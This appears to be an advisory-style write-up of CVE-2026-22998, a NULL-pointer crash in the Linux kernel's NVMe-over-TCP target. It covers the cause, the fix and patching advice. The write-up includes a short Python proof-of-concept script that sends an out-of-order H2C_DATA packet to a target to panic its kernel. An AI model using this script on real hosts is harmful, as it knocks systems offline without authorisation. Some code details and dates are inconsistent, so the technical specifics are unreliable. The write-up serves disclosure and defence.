In early 2026, a serious vulnerability was discovered and resolved in the Linux kernel’s NVMe over TCP code (nvmet-tcp), tracked as CVE-2026-22998. This bug could let an attacker trigger kernel panics or possible denial of service by sending specially crafted TCP packets to systems hosting NVMe target subsystems. Below, we'll break down how this works in plain language, show example code, describe exploit steps, and direct you to the official patch and references.
Bug Background
The vulnerability centers on how the Linux kernel processes incoming Host-to-Controller Data PDUs (Protocol Data Units) before the command channel is fully set up. A host *should* always first establish a session by exchanging a CONNECT command or a NVMe WRITE. However, if a H2C_DATA PDU is sent out of order, the kernel code never checks if internal data pointers for the NVMe command (cmd->req.sg and cmd->iov) have been initialized.
If an attacker sends an H2C_DATA packet too early or out of order, the kernel tries to use NULL pointers, causing an instant kernel panic.
Code Walkthrough
Here’s a simplified version of the problematic code in drivers/nvme/target/tcp.c (before the fix):
// Command structure (simplified)
struct nvmet_tcp_cmd {
struct se_cmd req; // .sg: scatter-gather data pointer
struct kvec *iov; // .iov: pointer array
};
static int nvmet_tcp_build_pdu_iovec(struct nvmet_tcp_cmd *cmd) {
// ...code dereferences cmd->req.sg and cmd->iov without checks!
do_something(cmd->req.sg, cmd->iov); // PANIC if any is NULL
}
No NULL-pointer tests! If either pointer is NULL, the kernel will crash.
How It Can Be Exploited
Remote attack: Anyone with network access to the NVMe target TCP port can trigger it.
No authentication is required.
Exploit Sketch (Python, using Scapy for crafting packets)
from scapy.all import *
import socket
# This assumes you know the TCP port for NVMe over TCP (default: 8009)
TARGET_IP = '192.168.1.100'
TARGET_PORT = 8009
# Craft an H2C_DATA PDU with random data
pdu = b'\x04' + b'\x00' * 63 # PDU type = 4 (H2C_DATA), rest is zeroed
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))
# Normally, you're supposed to handshake via ICREQ/ICRESP etc.
# We skip handshake and fire off a rogue H2C_DATA
s.sendall(pdu)
s.close()
# Result: Target system kernel oops or panic!
*Note: Do not run this against systems you don’t own!*
The official patch simply checks for NULL before using these pointers
static int nvmet_tcp_handle_h2c_data_pdu(struct nvmet_tcp_queue *queue, ...)
{
struct nvmet_tcp_cmd *cmd = get_tcp_cmd(...);
// Fix: Add NULL pointer validation
if (!cmd->req.sg || !cmd->iov) {
return -EINVAL; // Invalid, ignore or terminate connection
}
// Proceed only if initialized
return nvmet_tcp_build_pdu_iovec(cmd);
}
Now, even if attackers send illegal PDUs, the kernel gracefully refuses them and won’t crash.
References (Official & Trusted)
- Linux Kernel Patch Commit efa56305908b (lore.kernel.org)
- CVE official record _(*may not be published at time of read*)_
- nvmet-tcp in Linux source
Update your kernel to latest (patched as of June 2026)
- Do not expose NVMe/TCP targets to untrusted networks
TL;DR
CVE-2026-22998 lets anyone with network access crash a Linux box running NVMe targets over TCP. The flaw’s cause: missing NULL checks in PDU processing. Update ASAP if you run NVMe/TCP on your servers or storage hardware.
*Stay tuned for more advisories and check the Linux kernel mailing list for up-to-date patches. Protect your storage, patch your kernel!*
Timeline
Published on: 01/25/2026 14:36:12 UTC
Last modified on: 03/18/2026 16:26:20 UTC